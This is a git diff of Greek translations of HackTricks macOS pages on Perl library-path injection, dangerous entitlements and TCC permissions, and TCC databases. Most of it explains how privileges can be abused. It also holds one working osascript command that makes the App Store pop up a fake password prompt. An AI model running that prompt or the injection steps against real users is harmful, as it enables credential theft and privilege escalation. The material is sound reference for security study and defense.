* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
@ -48,11 +48,11 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Μέσω εξαρτήσεων
Είναι δυνατόν να καταχωρηθεί η σειρά φακέλων εξαρτήσεων του Perl που εκτελείται:
Είναι δυνατόν να εμφανιστεί η λίστα των φακέλων εξαρτήσεων του Perl που εκτελείται:
```bash
perl -e 'print join("\n", @INC)'
```
Το παρακάτω είναι περιεχόμενο από ένα βιβλίο για χάκινγκ σχετικά με τεχνικές χάκινγκ. Το παρακάτω περιεχόμενο είναι από το αρχείο macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md.
Που θα επιστρέψει κάτι παρόμοιο:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -64,15 +64,15 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Μερικοί από τους φακέλους που επιστράφηκαν δεν υπάρχουν καν, ωστόσο, το **`/Library/Perl/5.30`** υπάρχει, δεν προστατεύεται από το **SIP** και βρίσκεται πριν από τους φακέλους που προστατεύονται από το SIP. Συνεπώς, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε scripts ώστε ένα Perl script υψηλής προνομιακής πρόσβασης να τις φορτώσει.
Μερικοί από τους φακέλους που επιστράφηκαν δεν υπάρχουν καν, ωστόσο, το **`/Library/Perl/5.30`** υπάρχει, δεν προστατεύεται από το SIP και βρίσκεται πριν από τους φακέλους που προστατεύονται από το SIP. Συνεπώς, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε scripts ώστε ένα Perl script υψηλής προνομιακής πρόσβασης να τις φορτώσει.
{% hint style="warning" %}
Ωστόσο, σημειώστε ότι **χρειάζεστε root για να γράψετε σε αυτόν τον φάκελο** και σήμερα θα λάβετε αυτό το **TCC prompt**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`** θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` για να εκτελέσει αυθαίρετο κώδικα.
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`** θα ήταν δυνατόν να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` για να εκτελέσει αυθαίρετο κώδικα.
## Αναφορές

View file

@ -1,52 +1,93 @@
# Επικίνδυνες Εξουσιοδοτήσεις και Άδειες TCC στο macOS
# Επικίνδυνα Entitlements & Άδειες TCC στο macOS
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
{% hint style="warning" %}
Σημειώστε ότι οι εξουσιοδοτήσεις που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμες σε τρίτους, μόνο η Apple μπορεί να τις χορηγήσει.
Σημειώστε ότι τα entitlements που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
{% endhint %}
## Υψηλό
### `com.apple.rootless.install.heritable`
Η εξουσιοδότηση **`com.apple.rootless.install.heritable`** επιτρέπει την **παράκαμψη του SIP**. Ελέγξτε [εδώ για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
Το entitlement **`com.apple.rootless.install.heritable`** επιτρέπει την **παράκαμψη του SIP**. Ελέγξτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
Η εξουσιοδότηση **`com.apple.rootless.install`** επιτρέπει την **παράκαμψη του SIP**. Ελέγξτε [εδώ για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
Το entitlement **`com.apple.rootless.install`** επιτρέπει την **παράκαμψη του SIP**. Ελέγξτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόταν `task_for_pid-allow`)**
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόμενο `task_for_pid-allow`)**
Αυτή η εξουσιοδότηση επιτρέπει την απόκτηση της **task port για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Ελέγξτε [**εδώ για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
Αυτό το entitlement επιτρέπει την ανάκτηση της **task port για οποιηδήποτε** διεργασία, εκτός από τον πυρήνα. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
Αυτή η εξουσιοδότηση επιτρέπει σε άλλες διεργασίες με την εξουσιοδότηση **`com.apple.security.cs.debugger`** να αποκτήσουν την task port της διεργασίας που εκτελείται από το δυαδικό αρχείο με αυτήν την εξουσιοδότηση και να **εισάγουν κώδικα σε αυτήν**. Ελέγξτε [**εδώ για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
Αυτό το entitlement επιτρέπει σε άλλες διεργασίες με το entitlement **`com.apple.security.cs.debugger`** να ανακτήσουν την task port της διεργασίας που εκτελείται από το δυαδικό με αυτό το entitlement και να **ενσωματώσουν κώδικα σε αυτήν**. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
Οι εφαρμογές με την εξουσιοδότηση Debugging Tool μπορούν να καλέσουν την `task_for_pid()` για να ανακτήσουν μια έγκυρη task port για μη υπογεγραμμένες και τρίτες εφαρμογές με την εξουσιοδότηση `Get Task Allow` που έχει οριστεί σε `true`. Ωστόσο, ακόμα και με την εξουσιοδότηση του εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τις task ports** των διεργασιών που **δεν έχουν την εξουσιοδότηση `Get Task Allow`**, και που προστατεύονται επομένως από το System Integrity Protection. Ελέγξτε [**εδώ για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν το `task_for_pid()` για να ανακτήσουν μια έγκυρη task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` που έχει οριστεί σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να ανακτήσει τις task ports** διεργασιών που **δεν έχουν το entitlement `Get Task Allow`**, και που είναι επομένως προστατευμένες από την Προστασία Ακεραιότητας Συστήματος. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
Αυτή η εξουσιοδότηση επιτρέπει την **φόρτωση πλαισίων, προσθέτων ή βιβλιοθηκών χωρίς να έχουν υπογραφεί από την Apple ή να έχουν υπογραφεί με το ίδιο Team ID** όπως το κύριο εκτελέσιμο, οπότε ένας επιτιθέμενος μπορεί να καταχραστεί μια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Ελέγξτε [**εδώ για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Αυτό το entitlement επιτρέπει τη **φόρτωση πλαισίων, προσθέτων ή βιβλιοθηκών χωρίς να είναι υπογεγραμμένα από την Apple ή υπογεγραμμένα με τον ίδιο αναγνωριστικό ομάδας (Team ID)** με το κύριο εκτελέσιμο, έτσι ένας επιτιθέμενος θα μπορούσε να καταχραστεί μια αυθαίρετη φόρτωση βιβλιοθήκης για να ενσωματώσει κώδικα. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Αυτή η εξουσιοδότηση είναι πολύ παρόμοια με την **`com.apple.security.cs.disable-library-validation`**, αλλά αντί να απενεργοποιεί απευθείας τον έλεγχο της βιβλιοθήκης, επιτρέπει στη διεργασία να καλέσει ένα σύστημα κλήσης `csops` για να τον απενεργοπ
Αυτό το entitlement είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί να απενεργοποιεί απευθείας** την επικύρωση βιβλιοθήκης, επιτρέπει στη διεργασία να **καλέσει ένα σύστημα κλήσης `csops` για να την απενεργοποιήσει**.\
Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Αυτό το entitlement επιτρέπει τη **χρήση μεταβλητών περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για την ενσωμάτωση βιβλιοθηκών και κώδικα. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` ή `com.apple.rootless.storage`.`TCC`
[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog\_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα entitlements επιτρέπουν τη **τροποποίηση** της **βάσης δεδομένων TCC**.
### **`system.install.apple-software`** και **`system.install.apple-software.standar-user`**
Αυτά τα entitlements επιτρέπουν τη **εγκατάσταση λογισμικού χωρίς να ζητηθούν άδειες** από τον χρήστη, πράγμα που μπορεί να είναι χρήσιμο για μια **ανόδο προνομίων**.
### `com.apple.private.security.kext-management`
Entitlement που απαιτείται για να ζητήσει τον **πυρήνα να φορτώσει μια επέκταση πυρήνα**.
### **`com.apple.private.icloud-account-access`**
Το entitlement **`com.apple.private.icloud-account-access`** είναι δυνατό να επικοινωνήσει με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει τα iCloud tokens**.
**Το iMovie** και **το Garageband** είχαν αυτό το entitlement.
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για την **ανάκτηση των icloud tokens** από αυτό το entitlement, ελέγξτε την ομιλία: [**#OBTS v5.0: "Τι συμβαίνει στο Mac σας, Μένει στο iCloud της Apple;!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
TODO: Δεν ξέρω τι επιτρέπει αυτό
### `com.apple.private.apfs.revert-to-snapshot`
TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι μπορεί να χρησιμοποιηθεί για** ενημέρωση των περιεχομένων που προστατεύονται από το SSV μετά από επανεκκίνηση. Αν γνωρίζετε πώς να το κάνετε, στείλτε ένα PR παρακαλώ!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι μπορεί να χρησιμοποιηθεί για** ενημέρωση των περιεχομένων που προστατεύονται από το SSV μετά από επανεκκίνηση. Αν γνωρίζετε πώς να το κάνετε, στείλτε ένα PR παρακαλώ!
### `keychain-access-groups`
Αυτό το entitlement καταλογίζει τα **ομάδες keychain** στις οποίες έχει πρόσβαση η εφαρμογή:
```xml
<key>keychain-access-groups</key>
<array>
@ -59,62 +100,60 @@
```
### **`kTCCServiceSystemPolicyAllFiles`**
Παρέχει δικαιώματα **Πλήρης Πρόσβασης στον Δίσκο**, ένα από τα υψηλότερα δικαιώματα TCC που μπορεί να έχει κάποιος.
Παρέχει δικαιώματα **Πλήρης Πρόσβαση Δίσκου**, ένα από τα υψηλότερα δικαιώματα TCC που μπορεί να έχει κάποιος.
### **`kTCCServiceAppleEvents`**
Επιτρέπει στην εφαρμογή να στέλνει γεγονότα σε άλλες εφαρμογές που συνήθως χρησιμοποιούνται για την **αυτοματοποίηση εργασιών**. Ελέγχοντας άλλες εφαρμογές, μπορεί να καταχραστεί τα δικαιώματα που έχουν χορηγηθεί σε αυτές τις εφαρμογές.
Επιτρέπει στην εφαρμογή να στέλνει συμβάντα σε άλλες εφαρμογές που χρησιμοποιούνται συχνά για **αυτοματοποίηση εργασιών**. Ελέγχοντας άλλες εφαρμογές, μπορεί να καταχραστεί τα δικαιώματα που έχουν χορηγηθεί σε αυτές τις εφαρμογές.
Όπως για παράδειγμα να τις καθησυχάσει να ζητήσουν από τον χρήστη τον κωδικό του:
{% code overflow="wrap" %}
Όπως να τις κάνει να ζητήσουν από τον χρήστη τον κωδικό πρόσβασής του:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
{% endcode %}
Ή να τους κάνει να εκτελούν **οποιεσδήποτε ενέργειες**.
Ή να τους κάνει να εκτελέσουν **αυθαίρετες ενέργειες**.
### **`kTCCServiceEndpointSecurityClient`**
Επιτρέπει, μεταξύ άλλων δικαιωμάτων, την **εγγραφή στη βάση δεδομένων TCC των χρηστών**.
Επιτρέπει, μεταξύ άλλων δικαιωμάτων, τη **εγγραφή στη βάση δεδομένων TCC των χρηστών**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Επιτρέπει την **αλλαγή** του χαρακτηριστικού **`NFSHomeDirectory`** ενός χρήστη που αλλάζει τη διαδρομή του φακέλου του αρχικού φακέλου και επομένως επιτρέπει την **παράκαμψη του TCC**.
Επιτρέπει τη **τροποποίηση** του χαρακτηριστικού **`NFSHomeDirectory`** ενός χρήστη που αλλάζει τη διαδρομή του φακέλου του αρχικού φακέλου και επομένως επιτρέπει τη **παράκαμψη του TCC**.
### **`kTCCServiceSystemPolicyAppBundles`**
Επιτρέπει την τροποποίηση αρχείων μέσα στο πακέτο των εφαρμογών (μέσα στο app.app), το οποίο απαγορεύεται από προεπιλογή.
Επιτρέπει την τροποποίηση αρχείων μέσα στα δέματα εφαρμογών (μέσα στο app.app), το οποίο είναι **απαγορευμένο από προεπιλογή**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Είναι δυνατό να ελεγχθεί ποιος έχει πρόσβαση σε αυτήν την εξουσιοδότηση στις _Ρυθμίσεις συστήματος_ > _Απόρρητο & Ασφάλεια_ > ιαχείριση εφαρμογών_.
Είναι δυνατόν να ελέγξετε ποιος έχει πρόσβαση αυτή στις _Ρυθμίσεις Συστήματος_ > _Απορρήτου & Ασφάλειας_ > ιαχείριση Εφαρμογών_.
### `kTCCServiceAccessibility`
Η διαδικασία θα μπορεί να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, πράγμα που σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι, θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως ο Finder και να εγκρίνει το παράθυρο διαλόγου με αυτήν την άδεια.
Η διαδικασία θα μπορεί να **καταχραστεί τα χαρακτηριστικά προσβασιμότητας του macOS**, Το οποίο σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγχει μια εφαρμογή όπως ο Finder και να εγκρίνει το παράθυρο διαλόγου με αυτή την άδεια.
## Μεσαίο
## Μέσο
### `com.apple.security.cs.allow-jit`
Αυτή η εξουσιοδότηση επιτρέπει τη **δημιουργία μνήμης που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Αυτή η άδεια επιτρέπει τη **δημιουργία μνήμης που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Αυτή η εξουσιοδότηση επιτρέπει τη **παράκαμψη ή την τροποποίηση του C κώδικα**, τη χρήση της παλαιάς και αποσυρμένης συνάρτησης **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή τη χρήση του πλαισίου **DVDPlayback**. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Αυτή η άδεια επιτρέπει τη **παράκαμψη ή την επιδιόρθωση κώδικα C**, χρησιμοποιώντας την παλαιά και απαρχαιωμένη συνάρτηση **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή χρησιμοποιώντας το πλαίσιο **DVDPlayback**. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Η συμπερίληψη αυτής της εξουσιοδότησης εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα με μνήμη που δεν είναι ασφαλείς. Σκεφτείτε προσεκτικά εάν η εφαρμογή σας χρειάζεται αυτήν την εξαίρεση.
Η συμπερίληψη αυτής της άδειας εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα με ανεπαρκή μνήμη. Εξετάστε προσεκτικά εάν η εφαρμογή σας χρειάζεται αυτήν την εξαίρεση.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
Αυτή η εξουσιοδότηση επιτρέπει τη **τροποποίηση τμημάτων των ίδιων εκτελέσιμων αρχείων** στον δίσκο για να εξέλθει με βία. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Αυτή η άδεια επιτρέπει τη **τροποποίηση τμημάτων των ίδιων εκτελέσιμων αρχείων** στο δίσκο για εξαναγκαστική έξοδο. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
Η εξουσιοδότηση Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία εξουσιοδότηση που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την επανεγγραφή του εκτελέσιμου κώδικα της εφαρμογής σας από έναν επιτιθέμενο χωρίς ανίχνευση. Προτιμήστε πιο περιορισμένες εξουσιοδοτήσεις, αν είναι δυνατόν.
Η Άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την επανεγγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε πιο περιορισμένες άδειες αν είναι δυνατόν.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -123,7 +162,7 @@ TODO
### `com.apple.private.nullfs_allow`
Αυτή η εξουσιοδότηση επιτρέπει την προσάρτηση ενός αρχείου συστήματος nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
Αυτή η άδεια επιτρέπει την προσάρτηση ενός αρχείου συστήματος nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
@ -134,20 +173,20 @@ TODO
[Array]
[String] kTCCServiceAll
```
Επιτρέψτε στη διαδικασία να ζητήσει όλες τις άδειες TCC.
Να επιτρέπεται στη διαδικασία να **ζητήσει όλες τις άδειες TCC**.
### **`kTCCServicePostEvent`**
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -24,7 +24,7 @@
Το **TCC** χειρίζεται από το **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρίζοντας την υπηρεσία mach `com.apple.tccd.system`).
Υπάρχει ένα **tccd χρήστη σε λειτουργία χρήστη** που τρέχει ανά εισαγωγή χρήστη που ορίζεται στο `/System/Library/LaunchAgents/com.apple.tccd.plist` καταχωρίζοντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
Υπάρχει ένα **tccd χρήστη σε λειτουργία χρήστη** που τρέχει ανά λογαριασμό χρήστη που ορίζεται στο `/System/Library/LaunchAgents/com.apple.tccd.plist` καταχωρίζοντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
Εδώ μπορείτε να δείτε το tccd να τρέχει ως σύστημα και ως χρήστη:
```bash
@ -34,14 +34,14 @@ ps -ef | grep tcc
```
Οι άδειες κληρονομούνται από τη γονική εφαρμογή και τα δικαιώματα παρακολουθούνται με βάση το Bundle ID και το Developer ID.
### Βάσεις δεδομένων TCC
### Βάσεις Δεδομένων TCC
Οι επιτροπές/απορρίψεις αποθηκεύονται σε ορισμένες βάσεις δεδομένων TCC:
Οι επιτροπές/απορρίψεις αποθηκεύονται στις παρακάτω βάσεις δεδομένων TCC:
- Η βάση δεδομένων σε επίπεδο συστήματος στο **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Αυτή η βάση δεδομένων προστατεύεται από το SIP, έτσι μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν.
- Η βάση δεδομένων TCC του χρήστη **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** για προτιμήσεις ανά χρήστη.
- Αυτή η βάση δεδομένων προστατεύεται, έτσι μόνο διεργασίες με υψηλά προνόμια TCC όπως Πλήρης Πρόσβαση Δίσκου μπορούν να γράψουν σε αυτήν (αλλά δεν προστατεύεται από το SIP).
